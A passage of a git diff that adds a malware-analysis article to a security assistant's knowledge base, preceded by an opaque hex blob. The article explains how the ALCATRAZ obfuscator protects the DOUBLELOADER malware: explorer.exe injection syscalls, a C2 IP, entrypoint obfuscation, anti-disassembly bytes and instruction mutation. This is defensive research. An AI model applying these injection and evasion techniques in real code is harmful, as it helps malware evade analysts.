170ac3a4cd67002d92f1ad499816bd28f9820ebf70d1d8eafc9ce3a9adff290b067c09551931d833a7bc089685bfe6633915dfbf4c386bfbdedaf0c9acdcc6e8cb43723df9cd72beb751a08ad5c3fab539c0766686ebfabfc9b155bea603142f106ca12cb040de1d91470d84b385f6bc7007a48ae6bac2499cfd56ab0f5a03a24996225eb705d9684d364ddec513b8befa695a072396c7e062d9d4c3bc14f868f6fb6e992dcf233b2da0dd0903cf10e8b43e93be27ea8ad393a87a3e5d6d577d6e73e5a5e7afc6ac46b53518e702759319b19c602e0f9b8ef07d136f7b57d670aa3a3597f75a4aa1231aa8217f17188eb2859b8fc16eef394798ce95c278315e30a3219f8b9a94f8df49b1e73f21e0d516967a3e97255c63aad52f31cc235086083b0e7d1322698fab7805fd6790e4ccd035b378b05f2b89c7ac5a1d711b9473c6d7eb45edb07a40c1a8e6bd96ded457145e7d73ee89e5077a1fbbc4a4e61a17e1daba769ce0050b09d046e88258ce439c70b212f028902bfa06ad367d94a534ca4d21569887edd40339f7c97b3dc6203c18f2a71106643ee007b717618bf16dd38802081c8deef9414c7c8404a3ab587daeb5c49735417474a0ea39fc0a98b3e96352a8cd21b59a2d9026c654f017aad5ce08cd134a1ede0fd7173d531a31c1fc3c756e9a9e2817dfc995ccf6e2dc4541497b6a65ced58df1b5e74f8cf0107237020d44ff2c0cc77044eb23a1e369171b3d3ad22180c8191f496a70e9b9708b2b66daeff896183f8c21f7a5f25424a3a2c183fe626d088c1cff3b545b73cb4eb221a41365189e62f80586041b9682ad7481f7c665466d7e0c9c912d849871f94b0ef4fd33bb5f5d3299411f4a6d545b1f9a7d19b6cfd19429f21728f8c3935aba62a4c1f46b19c4c4b1b745f2fcd61ec5973528cbc138925180e039a69f99a208c58100e9fc2e4ca60bf1ad5a718300e9bcc34f9bda429407c55e77289b21eb535baf85916fbfcc42c70410fb62d4770fe50e966d299e270d09c7d2fc4cdf0337eb2f0b67443b353382f38f870f242b7a358173497ef64b7e53c1ffb1fc7873f3684bfd13f2ea50e2ee78316218a917924da261e2d570cd9088dcb1d9ad522604100872a8619a6a8e2f48646e959715dba04486aec3a780696bb31713ad21a4765d1e2254f7e6d58c5d55b5b37246be59befeec91e341dd4e5d4a5e56ad9401a7f1cd296e4b528b8418b5ab44dff1740216586f64c9c5a6a190382b590687d94dffc1f737591b46341dcf9b3809e3a66f0390251fde903b5d66f1f4307629c75e2a399d0c2a00992860bf732ca90dcd14aa68bb0a62c83f8c21f7a5f25424a3a2c183fe626d0036b4a52c58df63424754e1b64c76899e8a5d8f1162519ec4bc924e01540b590922bd559511475d6443363efb820c31f4209f3511e001cdf8432ebda867c0d9d4865576bae6b4e37c732e57ebf527086c2599b79f9863cf19c0c7dcb3f8f00f4ce283f294e5eb61689e10703f56c711d05d79c69540e3c5f2692669d9dfc6dce59ff9a684d0d0751912ff900aee08862f8171c240dfcb42055860fb331e51f5d0f32f345a0ff896dead2b3666f07c6d17d1d63e89ce95beece03c0adae964d069d379f95e7024231f7bc00f6b8c2d36a8e0a5999ff0b5fddbd79da01ffc3b3104ce9edeb963d6344f4cebc4c7063803aabc0a65657efa3226c2d5a06079e305c626fa7a9d144fd276d23a3302b6a80cf5b10dc48331b8ca483b3dd47e258bb7165d61a01574300ea6e434c21ef1f133482d51d0a645d48ef4f695a4c5d4a33b7f41fb99ffc427d114cf13468ce31810ed4758a2321c9d987d001c5ffb81cb5f28b7b9f57428b3614fce4e633d2f13d5f24c1465134be2c4eb8b307dd0d9303308247a558c826295b161bb3a460458d5506353e6aec8c7f2122e19cc2e6bba6e62ba5768af27cfaea435986aeb1a534384bce152182d0d02a0250c4ce8fe99a8f96e0837e0f2606a2f53d1cfa9f3268208958c454bbfa0f2679e61fb851d99693651a960cd7e939e65ca5d45c519790c9b2261b6d5303c58c4ac134a8cb2eb2b2f5c21a505689479f11b427745d7d4b41a88f9a16b7e1406e650941dc5e97611d671f3e6a0c92b2dc07d4e8ea45bd85dc1d833ec21f8ed967fbb76f63c4de43b293c640204dedb05c0ca13bedde211edba63f878402f0136e375dcef4efa81405eca9baf3bb9b668da4e991b664ea26502e3ab79b70d4bcb9a321b6f45d25534b3bc896550308b3949e3ad326d8b840be93e3fb97c3ce7e5bfa956139a8a95a74ed2218bcf5d7e63657b6666cd9227bf0db0f5e1127c760ebffb82939e1d0fca1113c72c9d46a3aa51407c991099d1153b29cf9d889586a6b4b6136ec51f1a84ee2061d23e9ea7338f07c949e7c328eaeaa03dde53aecec964e6f27e08e869829d5da4b887bf73f871c2b316d1766e2e24bfdedd33736535f1df71e45bce95c103a4fe9ea26c33175ac37fc19f84ca374e28e8c78872b06e359d96724fab5dea3578ed36e6f932a6455fb1b7432fd84ca78a0629e2dd39119985b5bac2dbcb7a9d64e72e7106c4088059c9bafdca63d21933f19854949b75ba8d9ef6f562ad291c6e171e9a50d649e134418c0f65064e5a670739b34bf725cc78198eb1dc2d516aa8b06097e710d38c3fd8336307c63c1674f5d8429de21ca4a97111d4377b8f3ac4f7fc61436f32a8e0f34c4a18f3aa08933e102f8e8ccbe512d737bc504e0a145911cdbe4997cde6035d824ce5eab67434970c151368fc486c69297c5f813076a8cbed2a37d0bd771d328d8afb472e7f1178364a35c7740db0613aca49a9d061ee18f287f5fd1d07dea03fb3948a28f0ae28f67240a76a29525a493f0f86e0c12ecd7adcbbe311f8e8b6a4c3893e12f22ca7fbb1b78c9c08d80b1aec2abedeb9213479fdeba893fca4731b8d6124beef617d82bc37b4f834de850b8ed7a225c36e9c0a195f798d4465d9e3736de4d57bfdd456a19352e4bc9b63381fd52aa703ef0feec6aff02b6df9d5512a9860c25e2ddba9a5a5db26dcfaf68f5d666eadbf46e7d0d40bb4aa38c666b9149b6fc106ae83da12172cd6acba9857cd3d1ee58fdd05bcd005d958f3553a7392ee2308bff6c97fa1d2211119ef4f2ef32836c6a58bf6a8561e001b9e56230a071604de13577b4e90104bbcf934d120a066e63fcbd746399f50d9accb6cfd664c520a842da9397b98e140f82bb0dd2417d657c0dd3ed4c716b1541f43068ddcea285e5eed64e72e7106c4088059c9bafdca63d2171060ff6e877dd379eed17f859115546634144e8a1d18114598043350beae074e1aac770b453f65d4c48d135d2de3825733455bc0d25f6f6be20e351de8c58ac0f284f9ab8e9649833caacbc7e4dbcbf5845269ca5dc1b4f4c6576c74ea7b3ccc982d07d0b621e357bbdef7ceb987a09fbd2cddc2e72f79ed7173f80fe19bc9b4b363083d4a1ffd65adbc92b76e223fd7acc77662f5fed5f5b2d379b13d1532e9cb585b6170f61310748263c87420eed86c206aa2aa94615d6458d4696ca84391ce6b5b5dd6711670aa6657ab21aa04b9f2d8e865c65d8d81dd3341b3897219c062f6aa5de3d94ab11b5c4e08d4e4f4ed16cec7e457cbab6cf00a078396c39c13e5075add8febcc560e010fa0914b6924c41c3dcdebe9892dca808f78ac99dfb3f34d8bd9bb1695dfa6bff41cce36cef2e78dd2f1dfff0a735e8be92dad2e8102ca9a28e4d37954213199e0a0bacb6095a3220a0af5bd6c7a1a238955f9b05a9cb80e948dc2b410434ff086d959879b3e1eff9179d19c40053a4b0dfa7ca08bd0df6b849ca2ce9c305144f786e962532c91a001d59d3b37b5e36183b2ed72a239ef061d06cc23bc9e3a06bccf7ac22901fd7e98001096500762142b7662595b319429f21728f8c3935aba62a4c1f46b19c4c4b1b745f2fcd61ec5973528cbc1341c5c57f48f64116713bb203a9eceb6232cc693b019f88d3288abca31ea64b412fab58e332c4c06c20362a54ffe60ccb7bfbb2ff560be6a1e781d024ad869629fbc410edf91fb524d311c184fd19bab52476006275f331ca9301635bb84683d7cf7b236cf3b5eb2b0c7951f833517a79017933afdc3d976fa6fa8d5248e29dcf2d2516c1a07f6673cf2f4278ea07b58288ec39168bc396dabd7f000429dacdca84ebdcf33a954c28631da81f7beca09142f3815e0b36930bba3f95c26dd36114a7d80088edd2495c62cf9aec9e3e660df1246f64f0a52e7098431174cd793e4552585badeff2653e1e9e7fd7215b6f34ed01781d4928d88525a43431d3de219621790d622a8dc57cd653406a431037e55394eef2f4e4308e97a263c8309d1fdbaabd851e9aa41512af6876cb3468a355706de68f621df75dcc25b37f65e2df4085912b5a3bed508fb827947e41ac288a7b0026c0bce50400e0c192b1a2a0a000f9f0eb23419d1af65e539dc48832254ce1ffb1936fed17b0782daea5433cf8267d5141631d4ab4451bafbad14521cca8771d73bd85400db1a0f47ba57b3834946fe8623822c85e783ea018807940d9a9b9e494667e5fd93bbe74d6f5c6e2e97d5152a35ca4781b38ba8e9facf0de7e3fcbd591fedd3dbe05f844e18f9a367749d3ee93d8330dbcb48a0c2feb9202fecc79ff1dbfbae337fa8dd63d8ba8fa184df1f2a5b8264a37043aa2a2e32d80a0d84b2643f5ed6d4618be0d2bac2ccf283d76b9fdeb6b952f82cda1100b6af2229d3dd0f3ded679a6a5acedfc38bdf0e02a2f24d8c52030c82cc6847914b77a5ce2a2f2e79add1bd811f541f9a7682bcb569111bb8ea669e2cf2d3b7c8d1b49f4929b54e16f50e70df213bb0b202de164a3be94062b6c24b124c53530662546c0264c9f8ff7adb9cf712b0c430f0ef513dcfcfe2f7b713f377304ed28e2d1b1da0205e38d1cb20a95f8e289168b5fc65dd0e1488ca7844cbb0b74b759e69089cd02bf306a9fcdfa08a6fc751ad8b1d14b5a31a510dfb7b2cdc51e3bc25342e413f81123106233c393a1ff118d3b26da332cca0419ed7ae3c677b23c77531c52cc3fb02717a8bd6b6dbbc0661541b77c7ef28b2712c93ba27aad2b5519eeeab71b67b7c514ef53edd48ef1071a69528965330ae922b65cf00b1b17a9cc2413a23bd560e97c41cb71b46a0e3d14b229cf7777b19e4c2cfc67f5efb0fb71e9072d0a474a0969841f50b0ddab6e5170ad025f863e37ba269f08ea4d16f655807414b718631fba4097415d3c338f84277bcc0a8d47da39c8907963d9705ebbbea77b5e1491d977e6a931c4c875fc944714a88759d2104f548fc57fd88d10c1520a507e448a0bacf97d8e5ca0ee6eefb21b3fee91f28e89c86b898d1035d852c18e3e3a769d76c73b1b61c879dc58a734e99f7b2ec211d63fcc358c0898e996e4130c1f584d6fe26d69ae7c9987b78efae4b53e8a65bb725bcc5d9fd0fa83108c3f6107685b5ad1f10d253709cdaf66c62915d15367c272b9a4963e32a5a9f8d30067629f532ce9f13388d8572973bd7511087d65a39b24f2524e8bf9cd294b5be0d35f7d963fcdc1c2fa710b3865d12234425f6848f10ca8195d5c710be47cd2314262e23dc205823617761fd1477dbac8f71c2670ff7514e6d347363ad0d391e4b7705daa95d78c801fd7828dcbe8082a57aa49c12bda14509cd3a67d7407727c4f8e9e80f0a2b1ac13d80de2e12741c2dfcfef442104f91000f24051f60d39912341ce80f77b73fd95a89e426d8adf4793d49c00e753192e41c4543c98851eded6865c32d3c268e988b208f4f68fb2ab2f55bdbefe666bd3651d49ac14f4eecf68403f30b55f55d8606d7c015b5fc586565dc6a92135ffb768e9cdd7ace18278ca932267d58f7bde8941f33bb0da1b9ceb06d44580ffd5aba764957390ff8058075df26a910ed0cce3a5e5e6166323a8aa09e29b9b61245cebc2b1cc6d7c2f2ab099a95f816d3afd1b49cb31b8020fa20325b2c826dc33c83d7d0a88a9831991ca4c8253a03bd4aeeba1b7bd2a260c474519a63bc9ecf14e65c665b35101e2f37fd5ab039d45266edf5158466d29c202add0eaee7b1fe188c4bfd0a7e4521ba570496d045785d2516bb5bba3b62fba42982e7b3c8e3e94bb1fd62962aaa1aba4981e8217d0138116aedbb7ee1a2c90943af5a3e15dc617528709e163652a50d34aed5d5261f7d21f96516050f3f9bbb86f23f37ff7f79699d041a4d28b7337c7d5ba4dddf07dc4037c64b73c47626c42c2cb6d3fa9ed1f24de126ceb1ad2d5df7eea49aefa2a51e95c7683671f58f51c9a55963685192accd9974a35aa1fca66b6153477cc592fafc6b2c821919ecca27a7a6c87befa4de5cb665c38c2c616ebdd400a575d621c1c9499c0ea9a9befea21d479f7ec857e3dbe0635838142032e841b8b885cc61e9852179b8fe224cf2716c2ca2fdd30379ef64c1407df2df9cba19035dbb07c6bc803ab9b564ae3649f34b3af9ff5735d5e0d68316c5cde70c5b1f31185c076abfc351c7704b436c2a53e7246ac2fa174c6392105e1e445b3e79dd125d6fe28405436e6c6dbd6364df79fe6ef1d4b3151571810139a269fb434c54add7ac9df03439ad82595cd931a3847dcce712f63d1bcae65f41142505705c00709c536bf5db8565b486080a913894dbe67a7b21051099fabd4cae7f5e39da75d687175e5eb4f8c1b3570e62cec0fb4d0c40e645803d9791e82a88d11427bf49151c66d48c5c4e3fb639dc8a06ab4bc1407da6345961e7363721ca90063621fe539f7fc13d8e4bd5f20d715820f5deec93fcada45d015666c9f2f5c1b04f43a86708870351238ead6951a0296ae9afa657250c46293a079c5c76601da63a5160d6e62297f56403db1a0693c9903dcad387452867e38fa5cf5dd8a89a6cec4d48312d059f2b25c3d89e79e7659c222a1e6744971bd21bc04bf2a95166b6039d58e8bec97aeb2e05d20d8e84a2a0a66dcf6318807d407884cdf7e51067278c67fa9288b8de07c5f9a282023fd380b12143c1660f5d9a96b6e5858e952b8a9b51314c80950282758641a4826ba3cab2b8e900387d3a16194c64d17e62d717d673df22c0c36357d7bb1836f0eafe37e836b48ba672925d44ceaad9a10e15f3ab73f4e902efa4b66db19a99435ac110a9e9042270950282758641a4826ba3cab2b8e9003e4e844464c5d455a25dc3599f2f083a683a36aac6350c7871dc6a092626acfc31cbde22c5b3c2a8cac42a75c9a3191c2af8beffc261c15259a720401bcbc12fb38f8def153d1547663f000cae1d1e003533e016e4b14fe8a9252f134042cf80177197d18b6b6892d22a30b023b872a4ed6fca42945321146c1593e9848032abfd2b3a2aa3e68dbb25f317fdfda399037f46614a64f17b39bc349ecee3d6d18ec127fab8f3324aacfe2463f1068ca8191afb7bcafa1cfb540b7a8a12cbe4f79f7b365f5e211980c38227b5b2f721c15e708e0d0fd05ac24288e73a7ae16090e7f434b90ea9658525c8ca665967393dea10918cb7e765664a020b538cf8b5d5046e5e839d28516583dbf77734768e66b327da10d8f425f1bcea914efe722ade6fc72e427f2fb22ecd8cc6306c143929453565aab3ce1217eee37a664b92c77e3b6fca754d9724b0a512148d9a71e0802c3f6b58b0fd4e7663a9eab57057f9f8f3b2024ec34056ac388040f23f72d88cfcf6a42b383ef26f8b01a69446cd316f52107950c75a50d50b21062e4da123184748eb2f5992fef43ac769127f892d9d50c74aa503e7125237b431a2d044e39a3db19f5960d24d7d2f26a72db29f8b62baabc9aae1ecc6e58e826cee8fa9717f2f3c388616f21e709f0015ab74e3a6b47622a5150e2a01b5f063d783c59bfa85d214141c02140a0ccb9acd356e7d0219d804163c9de43ddd8f32037ce5f6b169a05114a3539cb4daf98872164df869e956088fc26dc79b6b8fe32b4e54b60ad900a72fb2178711cf16d08a43ed7700016f46733b0e122a2fec2519fe0ecc3dd7d8a7797dd58cce1a6a3f98b0929e45f419c70b3aa876c1f41dd71f62d58a4630bb4ee8117699a990318aee486306798a44e521feb355bcc4469d918e2ae0acd65f78802611cc5b7a68b4ad3cd16699ba61f4986dc1157982e296bf0afdf8d3c5c20298a0a5197a6e27d8ddc6f8517f455cb7eaef3428314e2669720e80b04f8b1695331e17017ad79b9b03882465002d454e9560f9ff28a177819525f06a87e38b92b5fd5c96d1d15d418959284b397aad5806a2055cde985b21e14cc8c7feffd22e48d11ae9326c9ce5d0cb4153cabdea60ad1a72c90172b3865e563b251cfbac42d04baeaaa8ef7030a7a55b70c55a1c6c9f2667a41b359e8335d7a81c555363996cfb40a7172dac54c749680b9136d2a16956b65b1f0e829262959c01de206e24519f60d9bca03a4adc88090159628408115edfefe8ba7f66af0a132364d26f10fc0d6b862a520d2836507bd77549cf19950547a8ded2864367e54c4c3aad35cae28e746ab7fedc6e146733da559617d051a4a17e85397932262b8a04a78479cd0cc15110daf9979f65be554398c140dc24f7f07ba7169d991ae2cae05030b58e76f153376f8f886dac0bc01afec927b7d87b0e9aff10d50812933c0d3a968a0ef41b7c3f7b3fdb27277cbdb57057e3e3c955d77ce976468c70b81c0f74980db3fd31ca0c859c3de4c8e6e63144541ec688bd6849a01dc20e458a6d13a8adc8c4a0969841f50b0ddab6e5170ad025f869e89e6649462aa1e2dbfb7aa51a03b38e12665843a039fc1d5cfea53edfc005def41b7c3f7b3fdb27277cbdb57057e3e3c955d77ce976468c70b81c0f74980db3fd31ca0c859c3de4c8e6e63144541ec29351eebbbc54fd118dc04456c88f760b8a15b5b8d4bfca8c7d6e9c0a716658472a173eb4c744b7c7497f430f3751a5c78bf5d16adfa90750424c6d05a528528f0e50f2ee77ec680c394214ced285239a99d8ef6422fb261750c4566e530fd3bc6bb679aa5b49e204d2019f140e5cd7c4b1711cd08ed5b8c77fa9881ab04dfc4742644fae1d140901fe1135f51d7af0536390f8b67d71c05fec5bd2980c88308ad90c49d11db4dd5d84edaf89bb033f3c4a7252bf790055d136d2c3bdb9d94a4eb5842bdde1854b51404b02505cde30e48264efd7d347450aa3eda2981ec681bb72e75045329b4a1abaebd8417b037c528874c23ae94400b1f7eb2395e81f4556cd53e7d98183c51c8a5f7a255d4de8587e7473341dfa2c36b313ea137350592c22e840dfc9e2e7c58b5dcedaf19a5862e34510af8ddb82bda96298356edebc40e1a028f8ba96b86bae71c59bcf154e86750b3d95323a5a4373ecbc27c956ae1a944959603d23aafbe846db556115e544e4dd22f80b167ce260335a5a5004f351975f5bf2e5b4bd25e6e5ebd9d7e87a0fb00250a8dbf0ff3fab097a05b59c3e57a319d8fc708360c2925c738e0d85eb599385e4e0e149020b6ca6b712015e7e6acb211aa5bb58fc8fc81d4556ac8568b79889ebfaa126aaaead52697a3c4e2322d2309e02600912869001aa2d912486dfe529392d523a80c4e7c4e8e3aad9feb004b3c170393cb763cb11d856345575fbc0048be6419269276c6dff5b3738a8507a26dd8ce87c7bee0218acd193365171f68056a2d7d03d2be1d53026c9dff4bd4df18c49ca0abdb177f3d56134598c3434b43066a446d79fd50ea5adb7b9738c2d7172053b346976591d86da96875ea82c682ca499a6c16fb9f77cc59d9a05be5136a05e0495b2fb23390cf07a4d2f396a571a5ffb8f765849690bf18c664cdebbae02097843139275e75cd17adb878b3183bc10d94a223046f8abc9cba50386b672aeab40e93f8398e3b46a60fcdbb3f73eb846f7b65170bf1a5be0e0cddfd548520d7c3a7e145f14bbb9b211f1ca578c7c38a0b8d7657c2351746f0d3c9280a3dd06803e1e7b9c0911fe1b41e37f6bf6e82617b9004d51055dd7e9b3820e5e080eaa6aa34fff505a1ad335e8d178d346b5a5a5d04fe75218e63533634b634096b7d36a37db736fdb62c35b87b58a6ed828f2570a57acbe4a59d0c66db5bf8e45b4bce03f9d978f8daaf9b730cc132c8cb2b10fe9992de074418c41e6d8894fd5b1cb6d86929053c9f4511b490ea330738e33b2eafd806b25986bed6cc0c0a4504b922afa1d8afd67f141dddd7cb42f9900dccdfa0fdcc61bb5eab286a4af3fc12b62bf5c33f203d4f825f42089e22168590097c14ebd7d4f41c6bd147d0a40e2807d8bc86df267fd98938c09d59fd94580ae486e731d210e39a4e5d610edd9acacd96f04f1db030d11948a9f17db2a6363ecbf76775b5f59374ad16865845e98b9d0ade8fd1f73c316595d2518f94ca1ae7257efdbdc3ee91a7ab48df4b3dd0fecc603975ce095ab84abe664c3cf23c44e6864666caefa1be80ef45afae098dda6291aacb7eac434465f4fbf3be71f1dffb6c93b18807007b9fb2fcfc5608a02527ff764717c969815a323612bbeca884e4a59a4a069cfb416b840226917f8e113cf31c68ccd999ee3076a33826c1f2c5dd845fbebcce848dbf0925810b5b8378d154be66dec74ca0f852719951c415d69ac6435c0e6e6126564ff89df925c30f26c04519164be8573c9073282b6bede1e3521ae69679c8b751a2686cff13cb9e46e595b056504129c3c57bd34d8ed66fbf55363d2b4ff4a98a088f2a5ced36e59f0616ca2d0a49f29c8f0a44824b0d211cb3bd97f62b5a8f4c9b809fc6d0bf6b50f562f7395eaac5b8daaff5e083e24634890a6ca791597373cd55c2c6906c5cdae1d8a83c4c8c18bdeab3b1456f5d801b0ee52aff85d55163fc8a65c7cbc62c119accdf7f9fd044b10837ea7642873072d96808e7d93ed6160f39b80fb6ff7e9eb89c6d863ae0556ca0ce46e24ac03e78e41e480c1345ebaf698a68acd62169f0bfaeafae8141a287aad8b612e5e6ed927fc06d442b78e9e99301f5dd1012bf19f6fe253c98d4fc49674b64384884d967fe7e88fc4ed2d1fa636b9bb10f450be85b7342eba26ed96ea4b19c6699ac4e82bc555aaa30499d63016c8f4237c1fb3d0a9fd31ee716509f32f76ad7c7dd1d5ed57b43b8cec382d1d8899ea92cecdbc3e6c599b732f697d21b733a937fac4668abfa419ecca84d5e785785e9e65ca1a0691224ef167892530d4f1a73656a0c5cba1872bd4d8ac9e9801a01ac438cb0803698284fae29c3de210c4bbc1fbe08bca20c246b2ac1071419a5c2c5ace6c3e785ca5676074d32d2edd89d427db01d017426b82d41ae5cfd7a5590c5afc300d1a0f7cd25628a84d96853498eea2fd3fe90e5b27802e8b2b99b6bfcedd436f8f0aa3cd7590b1148bad80d03f9d3b67525d0c027a193dc4906e2ec37768446035d212489714e03e3775f2053b5c46a470941a56b7c73ce75d1f3a291ee962f2c4ba223a70abceec065e65fac4402b28ef9233e453d6dea2fa7fc9b56f7783747c052a2971d44b7bfad48cc75526f4209f3511e001cdf8432ebda867c0d9d5751dbcbd35e6e8ba2a7aca57dbfb72e20b0ce3075e9010770f20e325ee51e2a4651d468cef9ace3dca007fcd76fee8d20b0ce3075e9010770f20e325ee51e2a30c252ef1f67d61c61d2bec7ab9c2fcbf1cd775179822e189c0782a6ba088114ef1c1d904d12cb8ea0e8d4ce87a130898b127700e4611122296c4236f536f2858b557f18aa0418c56f09046fd1ca0b2f3ad25b12ca87e3e8c6463d10109c854938d36d847b4f53ef85e15ea496c539b5fe3daeee4eaf64d0786defd6538628835a18c19d71262ab553c110f08dc86d51c4e2d84c465a3eb114fa273b30b74085ae10748d92b58a4cbc3ca8a9db32985af7a282bfa5c3cb1b96ce999759e03aaf9a0d6018bf58dcc64d86bc4460d85823f57f706dabc56fc11db025fe766aa11c6a21c4767a3e853848295f14753f7e028e6ee594ca4ee00f9228dbe5abfdb91d6390fb7210c3ccd44827af122f1499e7dc43feb600058dc4baee384d463ebf37cf3a40b4ab0342ede5bf6bacbd40b39a \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.md new file mode 100644 index 0000000000000..4b9825c317f3b --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/deobfuscating_alcatraz.md @@ -0,0 +1,259 @@ +--- +title: "De-obfuscating ALCATRAZ" +slug: "deobfuscating-alcatraz" +date: "2025-05-23" +description: "An exploration of techniques used by the obfuscator ALCATRAZ." +author: + - slug: daniel-stepanic +image: "alcatraz.png" +category: + - slug: malware-analysis +tags: + - ALCATRAZ + - DOUBLELOADER + - deobfuscation +--- + +## Introduction + +Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer. One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, [ALCATRAZ](https://github.com/weak1337/Alcatraz) first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted [intrusions](https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/). + +The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include [control flow flattening](https://tigress.wtf/flatten.html), [instruction mutation](https://github.com/mike1k/perses?tab=readme-ov-file#introduction), constant unfolding, LEA constant hiding, anti-disassembly [tricks](https://1malware1.medium.com/anti-disassembly-techniques-e012338f2ae0) and entrypoint obfuscation. + +### Key takeaways + +- The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections +- Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts +- By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries. +- Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post + +## DOUBLELOADER + +Starting last December, our team observed a generic backdoor malware coupled with [RHADAMANTHYS](https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys) stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER. + +![PDB path in DOUBLELOADER](/assets/images/deobfuscating-alcatraz/image6.png "PDB path in DOUBLELOADER") + +This malware leverages syscalls such as `NtOpenProcess`, `NtWriteVirtualMemory`, `NtCreateThreadEx` launching unbacked code within the Windows desktop/file manager (`explorer.exe`). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (`185.147.125.81`) stored within the binary. + +![Outbound C2 traffic from DOUBLELOADER](/assets/images/deobfuscating-alcatraz/image31.png "Outbound C2 traffic from DOUBLELOADER") + +DOUBLELOADER samples include a non-standard section (`.0Dev`) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, [`ALCATRAZ`](https://github.com/weak1337/Alcatraz). + +![Section creation using ALCATRAZ](/assets/images/deobfuscating-alcatraz/image32.png "Section creation using ALCATRAZ") + +Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER. + +![Obfuscated control flow in DOUBLELOADER](/assets/images/deobfuscating-alcatraz/image5.png "Obfuscated control flow in DOUBLELOADER") + +The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features. + +## ALCATRAZ + +### ALCATRAZ Overview + +Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and [APT groups](https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/). + +Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard `bin2bin` format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level. + +![ALCATRAZ - menu](/assets/images/deobfuscating-alcatraz/image29.png "ALCATRAZ - menu") + +The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (`obf`) appended to the end of the filename. + +![Example of binary before and after obfuscation](/assets/images/deobfuscating-alcatraz/image14.png "Example of binary before and after obfuscation") + +## Obfuscation techniques in ALCATRAZ + +The following sections will go through the various obfuscation techniques implemented by ALCATRAZ. + +### Entrypoint obfuscation + +Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process. + +The following is the view of a clean entrypoint (`0x140001368`) from a non-obfuscated program within IDA Pro. + +![Non-obfuscated entrypoint](/assets/images/deobfuscating-alcatraz/image10.png "Non-obfuscated entrypoint") + +By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point. + +![Decompilation of obfuscated entrypoint](/assets/images/deobfuscating-alcatraz/image30.png "Decompilation of obfuscated entrypoint") + +As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint [code](https://github.com/weak1337/Alcatraz/blob/739e65ebadaeb3f8206fb2199700725331465abb/Alcatraz/obfuscator/misc/custom_entry.cpp#L20) to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the `Size of the Stack Commit`, `Time Date Stamp` along with the first four bytes from the `.0dev` section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint. + +Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (`0x140001368`) with the non-obfuscated sample. + +![Real entrypoint after obfuscation](/assets/images/deobfuscating-alcatraz/image18.png "Real entrypoint after obfuscation") + +### Anti-disassembly + +Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions. + +ALCATRAZ implements one form of this technique by modifying any instructions starting with the `0xFF` byte by adding a short jump instruction ( `0xEB`) in front. The `0xFF` byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump `0xEB` in front, this effectively jumps to the next byte `0xFF`. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention. + +![Anti-disassembly technique in ALCATRAZ](/assets/images/deobfuscating-alcatraz/image26.png "Anti-disassembly technique in ALCATRAZ") + +In order to fix this specific technique, the file can be patched by replacing each occurrence of the `0xEB` byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following `call` instruction to be correctly disassembled. + +![Anti-disassembly recovery](/assets/images/deobfuscating-alcatraz/image1.png "Anti-disassembly recovery") + +### Instruction Mutation + +One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as [Tigress](https://tigress.wtf/index.html) or [Perses](https://github.com/mike1k/perses) are great examples of obfuscation research around instruction mutation. + +Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple `add` instruction gets transformed to 5 different instructions (`push`, `not`, `sub`, `pop`, `sub`). + +![Example of instruction mutation via 